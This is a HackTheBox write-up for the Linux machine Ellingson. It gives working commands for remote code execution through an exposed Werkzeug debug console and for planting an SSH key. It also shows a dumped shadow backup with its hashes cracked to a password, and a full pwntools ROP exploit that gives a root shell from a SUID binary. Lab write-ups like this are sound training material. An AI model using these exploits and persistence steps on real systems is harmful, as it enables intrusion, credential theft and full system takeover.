HTB: Ellingson Writeup
Ellingson - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Ellingson |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 15 Jun 2019 |
| IP Address | 10.129.229.199 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Ellingson is a hard-difficulty Linux machine that demonstrates the dangers of running Flask applications in debug mode, password reuse from compromised backups, and exploiting SUID binaries with modern memory protections. The initial foothold is gained through a Werkzeug debug console exposed by an improperly configured Flask application running behind an Nginx reverse proxy. By triggering a ValueError exception, we access an unlocked debug console that permits arbitrary Python code execution. This grants us RCE as the hal user, who is a member of the adm group. Group membership allows read access to /var/backups/shadow.bak, which contains password hashes for all system users. After cracking the hashes using a hint from the website (passwords contain Love, Secret, Sex, or God), we gain SSH access as margo. Finally, privilege escalation is achieved by exploiting a custom SUID binary (/usr/bin/garbage) vulnerable to buffer overflow. Despite NX and ASLR being enabled, we craft a two-stage ROP chain that first leaks a libc address, calculates the libc base, and then calls setuid(0) followed by system("/bin/sh") to obtain a root shell.
TL;DR: Flask debug console RCE (hal) → adm group reads /var/backups/shadow.bak → crack hash (margo:iamgod$08) → ROP exploit on SUID /usr/bin/garbage with libc leak → root shell.
Reconnaissance
Port Scanning
# Quick all-ports scannmap -p- --min-rate=2000 -T4 10.129.229.199Results:
22/tcp open ssh80/tcp open httpOnly SSH (22) and HTTP (80) are exposed.
Service Enumeration
HTTP (Port 80)
Browsing to http://10.129.229.199/ redirects to /index, indicating the web server is not serving static .html files but rather using URL routing—likely a web framework behind a reverse proxy.
curl -s -o /dev/null -w '%{http_code} %{redirect_url}\n' http://10.129.229.199/# 301 http://10.129.229.199/indexThe site displays a corporate landing page for “Ellingson Mineral Corp” (EMC). Article pages are accessible via /articles/:id:
curl -s http://10.129.229.199/articles/1 | head -20Returns a full HTML page for article #1. Inspecting article #3 reveals a password hint:
“According to researchers, the words Love, Secret, Sex, and God are among the most common in passwords.”
This hint will be useful later for hash cracking.
Vulnerability Assessment
Werkzeug Debug Console Exposure:
Testing for injection by requesting /articles/' (single quote):
curl -s "http://10.129.229.199/articles/'" | grep -iE 'ValueError|Traceback|console|SECRET|werkzeug'Output:
<title>ValueError: invalid literal for int() with base 10: "'" // Werkzeug Debugger</title>href="?__debugger__=yes&cmd=resource&f=console.png">var TRACEBACK = 139725356630592, CONSOLE_MODE = false, SECRET = "P09TKIbKEtOoyeMAc5GN";<h1>builtins.ValueError</h1><p class="errormsg">ValueError: invalid literal for int() with base 10: "'"</p><h2 class="traceback">Traceback <em>(most recent call last)</em></h2>Key findings:
- Werkzeug Debugger is active with an interactive console.
- The
SECRETtoken is exposed in the page source:P09TKIbKEtOoyeMAc5GN. - Frame IDs are visible in the traceback (e.g.,
frame-139725353537488).
The Werkzeug debugger, when enabled in a Flask application, provides an interactive Python console for debugging purposes. If the PIN is not set or if the secret is leaked (as in this case), attackers can execute arbitrary Python code on the server.
Initial Foothold
Exploiting the Werkzeug Debug Console
The debug console accepts commands via GET requests with specific parameters:
__debugger__=yescmd=<python_code>frm=<frame_id>s=<SECRET>
Step 1: Extract a fresh frame ID and verify RCE
Each time we trigger the error, new frame IDs are generated. We extract one and test command execution:
# Extract frame IDTARGET=10.129.229.199FRM=$(curl -s "http://$TARGET/articles/%27" | grep -oE "frame-[0-9]+" | head -1 | cut -d- -f2)echo "frame=$FRM"# frame=139725274721080
# Execute whoami via subprocessSECRET="P09TKIbKEtOoyeMAc5GN"curl -s -G "http://$TARGET/articles/%27" \ --data-urlencode "__debugger__=yes" \ --data-urlencode "cmd=__import__(\"subprocess\").check_output(\"id;whoami;hostname\",shell=True).decode()" \ --data-urlencode "frm=$FRM" \ --data-urlencode "s=$SECRET"Output:
>>> __import__("subprocess").check_output("id;whoami;hostname",shell=True).decode()<span class="string">'uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)\nhal\nellingson\n'</span>✅ Confirmed RCE as user hal, who is in the adm group.
Establishing SSH Access
Rather than using the debug console repeatedly, we’ll establish persistent access via SSH.
Step 2: Generate an SSH key pair
# On jump boxssh-keygen -t ed25519 -f /dev/shm/ell_key -N ""cat /dev/shm/ell_key.pub# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKZ0Fya9yA1Ap0zMTuvr84TZrGVI94sfD7j1ixVdV0xE d3vn0mi@devn0mi-training-kaliStep 3: Write public key to hal’s authorized_keys
TARGET=10.129.229.199SECRET="P09TKIbKEtOoyeMAc5GN"PUB=$(cat /dev/shm/ell_key.pub)FRM=$(curl -s "http://$TARGET/articles/%27" | grep -oE "frame-[0-9]+" | head -1 | cut -d- -f2)
curl -s -G "http://$TARGET/articles/%27" \ --data-urlencode "__debugger__=yes" \ --data-urlencode "cmd=__import__(\"subprocess\").check_output(\"mkdir -p /home/hal/.ssh; echo \\\"$PUB\\\" > /home/hal/.ssh/authorized_keys; chmod 600 /home/hal/.ssh/authorized_keys; ls -la /home/hal/.ssh\",shell=True).decode()" \ --data-urlencode "frm=$FRM" \ --data-urlencode "s=$SECRET"Output:
'total 20drwx------ 2 hal hal 4096 Jul 16 2021 .drwxrwx--- 5 hal hal 4096 Jul 16 2021 ..-rw------- 1 hal hal 111 Jul 21 17:19 authorized_keys-rw------- 1 hal hal 1766 Mar 9 2019 id_rsa-rw-r--r-- 1 hal hal 395 Mar 9 2019 id_rsa.pub'Step 4: SSH as hal
ssh -i /dev/shm/ell_key hal@10.129.229.199# uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)✅ Initial foothold achieved as hal.
Privilege Escalation
Lateral Movement: hal → margo
Discovering Shadow Backup
The adm group typically has access to system logs. Let’s enumerate files readable by this group:
find / -group adm 2>/dev/nullAmong the results, /var/backups/shadow.bak stands out:
ls -la /var/backups/shadow.bak# -rw-r----- 1 root adm 1309 Mar 9 2019 /var/backups/shadow.bak
cat /var/backups/shadow.bakShadow backup contents:
root:*:17737:0:99999:7:::...theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::Cracking Password Hashes
Remembering the hint from article #3, we create a targeted wordlist from rockyou.txt:
# On jump boxgrep -iE 'love|sex|secret|god' /usr/share/wordlists/rockyou.txt > /dev/shm/wordlistwc -l /dev/shm/wordlist# 277307 wordlistPrepare hashes for John:
# Create hashes file (via base64 to avoid heredoc issues)HASHES='theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/'
echo "$HASHES" | base64 -w0 > /tmp/h64cat /tmp/h64 | base64 -d > /dev/shm/hashesCrack with John the Ripper:
cd /dev/shmexport TMPDIR=/dev/shmtimeout 300 john --wordlist=/dev/shm/wordlist --fork=4 --pot=/dev/shm/john.pot /dev/shm/hashes
john --show --pot=/dev/shm/john.pot /dev/shm/hashesResult: margo:iamgod$08
SSH as margo and retrieve user flag
sshpass -p 'iamgod$08' ssh margo@10.129.229.199id# uid=1002(margo) gid=1002(margo) groups=1002(margo)
cat ~/user.txt# <redacted>✅ User flag obtained.
Privilege Escalation: margo → root
Discovering SUID Binary
find / -perm -4000 -type f 2>/dev/null# ...# ...The /usr/bin/garbage binary is unusual and SUID root.
ls -la /usr/bin/garbage# -rwsr-xr-x 1 root root 18056 Mar 9 2019 /usr/bin/garbage
file /usr/bin/garbage# /usr/bin/garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV),# dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,# BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not strippedRunning the binary:
/usr/bin/garbage# Enter access password: test# access denied.It requires a password. Using strings or analyzing the binary would reveal the password gate: N3veRF3@r1iSh3r3!.
echo 'N3veRF3@r1iSh3r3!' | /usr/bin/garbage# Enter access password:# access granted.# [+] W0rM || Control Application# [+] ---------------------------# Select Option# 1: Check Balance# 2: Launch# 3: Cancel# 4: Exit# > Unknown optionThe binary accepts the password and displays a menu, but the overflow occurs at the password input stage, not the menu.
Binary Analysis
Copy the binary and libc to the jump box for analysis:
scp -i /dev/shm/ell_key hal@10.129.229.199:/usr/bin/garbage /dev/shm/garbagescp -i /dev/shm/ell_key hal@10.129.229.199:/lib/x86_64-linux-gnu/libc.so.6 /dev/shm/libc.so.6Check protections:
ldd /usr/bin/garbage# linux-vdso.so.1 (0x00007fffb2c66000)# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f46e27e6000)# /lib64/ld-linux-x86-64.so.2 (0x00007f46e2bd7000)
cat /proc/sys/kernel/randomize_va_space# 2 (ASLR enabled)Binary protections:
- NX enabled (non-executable stack)
- ASLR enabled (randomized libc addresses)
- No PIE (binary base address is constant)
- No stack canary
The buffer overflow offset is 136 bytes (128 bytes buffer + 8 bytes saved RBP).
Extracting Gadgets and Offsets
Binary addresses (constant, no PIE):
objdump -d /dev/shm/garbage | grep -E "<puts@plt>:|<main>:"# 0000000000401050 <puts@plt>:# 0000000000401619 <main>:
objdump -R /dev/shm/garbage | grep puts# 0000000000404028 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5puts@plt=0x401050puts@got=0x404028main=0x401619
Finding pop rdi; ret gadget:
# Manual search in binarypython3 -c "data=open('/dev/shm/garbage','rb').read()import refor m in re.finditer(b'\x5f\xc3', data): print(hex(m.start()))"# 0x179bpop rdi; ret=0x40179b
Libc offsets (from target libc):
readelf -s /dev/shm/libc.so.6 | grep -E " puts@@| system@@| setuid@@"# 23: 00000000000e5970 144 FUNC WEAK DEFAULT 13 setuid@@GLIBC_2.2.5# 422: 00000000000809c0 512 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5# 1403: 000000000004f440 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
strings -a -t x /dev/shm/libc.so.6 | grep "/bin/sh"# 1b3e9a /bin/shputsoffset in libc =0x809c0systemoffset in libc =0x4f440setuidoffset in libc =0xe5970/bin/shstring offset =0x1b3e9a
ROP Exploit Strategy
Since ASLR randomizes libc addresses, we need a two-stage exploit:
Stage 1: Leak libc address
- Overflow the buffer
- Call
puts(puts@got)to leak the runtime address ofputsin libc - Return to
mainto restart the binary
Stage 2: Gain root shell
- Calculate libc base using leaked
putsaddress - Call
setuid(0)to set effective UID to root - Call
system("/bin/sh")to spawn root shell
Building the Exploit
#!/usr/bin/python3from pwn import *context(os="linux", arch="amd64", log_level="info")
# SSH connection to target as margos = ssh(host="10.129.229.199", user="margo", password="iamgod$08")
# Buffer size and addressesbuf_size = 136puts_plt = 0x401050puts_got = 0x404028pop_rdi = 0x40179bmain_addr= 0x401619
# Libc offsets (from readelf)puts_glibc = 0x809c0system_glibc = 0x4f440setuid_glibc = 0xe5970binsh_glibc = 0x1b3e9a
# Stage 1: Leak puts@got addressp = s.process("/usr/bin/garbage")p.recvuntil(b"Enter access password:")
# ROP chain to leak putsbuf = b"A" * buf_sizebuf += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)p.sendline(buf)
# Receive leaked addressp.recvuntil(b"access denied.\n")leak = p.recvline().strip()leaked = u64(leak.ljust(8, b"\x00"))log.success("leaked puts @ %#x" % leaked)
# Calculate libc basebase = leaked - puts_glibclog.success("libc base @ %#x" % base)
# Calculate addresses for stage 2system = base + system_glibcsetuid = base + setuid_glibcbinsh = base + binsh_glibc
# Stage 2: setuid(0) ; system("/bin/sh")p.recvuntil(b"Enter access password:")
buf2 = b"A" * buf_sizebuf2 += p64(pop_rdi) + p64(0) + p64(setuid)buf2 += p64(pop_rdi) + p64(binsh) + p64(system)p.sendline(buf2)
# Interact with root shellsleep(1)p.sendline(b"id; cat /root/root.txt")sleep(1)print(p.recv(timeout=5).decode(errors="replace"))p.interactive()Why this works:
-
Leaking libc: We call
puts(puts@got), which dereferences the GOT entry forputsand prints the actual runtime address. Since the binary is dynamically linked,puts@gotholds the resolved address ofputsin libc. -
Calculating base:
libc_base = leaked_puts - puts_offset_in_libc. All functions in libc maintain fixed offsets from the base, so once we know the base, we can calculate any function address. -
setuid(0): Calling
setuid(0)beforesystem()is critical. Without it, even though the binary is SUID, the shell spawned bysystem()would drop privileges. By explicitly setting UID to 0, we ensure the spawned shell runs as root. -
No PIE: The binary’s own addresses (PLT, GOT, gadgets) remain constant across runs, allowing us to reliably use them in our ROP chain.
Executing the Exploit
Save the exploit to /dev/shm/ell/exploit.py (in a clean directory to avoid module shadowing issues) and run:
cd /dev/shm/ellTERM=xterm python3 exploit.pyOutput:
[+] leaked puts @ 0x7fce1a5619c0[+] libc base @ 0x7fce1a4e1000
[*] Switching to interactive mode
access denied.# uid=0(root) gid=1002(margo) groups=1002(margo)<redacted>✅ Root shell obtained. Root flag retrieved.
Attack Chain Summary
Werkzeug Debug Console (ValueError → SECRET leak) → RCE as hal (subprocess.check_output) → SSH access (authorized_keys write) → adm group → /var/backups/shadow.bak → Crack margo hash (love/sex/secret/god wordlist) → SSH as margo → SUID /usr/bin/garbage analysis → ROP exploit (leak puts@got → calculate libc base) → setuid(0) + system("/bin/sh") → Root shellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests and Werkzeug debugger interaction |
ssh-keygen | Generate SSH key pair for persistence |
grep | Extract patterns (frame IDs, secrets, wordlist filtering) |
john | Crack SHA-512 password hashes |
objdump | Disassemble binary to find PLT/GOT addresses |
readelf | Extract symbol offsets from libc |
strings | Locate /bin/sh string in libc |
pwntools | ROP exploit development and process automation |
scp | Transfer binaries for local analysis |
Key Learnings
Techniques Practiced
- Werkzeug debug console exploitation: Leveraging Flask debug mode with exposed secrets to achieve remote code execution
- Linux group-based privilege escalation: Exploiting
admgroup membership to access sensitive backup files - Password cracking with contextual wordlists: Using application hints to create targeted wordlists for efficient hash cracking
- Return-Oriented Programming (ROP): Bypassing NX and ASLR protections through libc address leaks and chained gadgets
- Multi-stage binary exploitation: Leaking runtime addresses, calculating offsets, and re-entering execution flow
- SUID exploitation with setuid(): Understanding why
setuid(0)must precedesystem()calls in SUID contexts
Lessons Learned
-
Never deploy Flask applications with
debug=Truein production. The Werkzeug debugger provides an interactive Python console that, if accessible, grants complete control over the application. Even if PIN-protected, exposing the secret in HTML comments or JavaScript renders the protection useless. -
Group memberships matter. Users in the
admgroup can read system logs and backup files, which may contain sensitive information like shadow file backups. Always audit group memberships and file permissions. -
Password hints in content are exploitable. The article mentioning common password patterns allowed us to reduce the cracking space from 14 million to 277,000 passwords, making the crack feasible.
-
ASLR bypass via information leak is a fundamental exploit primitive. Modern exploitation often requires leaking addresses before executing payloads. Understanding the PLT/GOT mechanism in dynamically linked binaries is essential for ROP-based exploits.
-
SUID binaries that don’t properly sanitize input are critical security risks. Even with NX and ASLR, a buffer overflow in an SUID binary can be exploited through ROP chains. The absence of PIE and stack canaries made this exploitation straightforward.
-
Always call
setuid(0)before spawning shells in SUID contexts. Many modern shells (bash, dash) drop privileges when they detect SUID/SGID execution. Explicitly setting UID to 0 ensures the spawned process inherits root privileges. -
Environment matters when developing exploits. The jump box had disk space issues (
/tmpfull) and module shadowing problems (pwn.py,dis.pyin/dev/shm). Running exploits in clean, isolated directories prevents unexpected failures.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup drew explanatory context from the official HackTheBox writeup for Ellingson (Document No D19.100.39, prepared by MinatoTW) to clarify why certain techniques work (e.g., ROP mechanics, setuid requirements, GOT/PLT relationships). All specific values—IP addresses, command outputs, credentials, leaked addresses, and flags—are from the live solve documented above.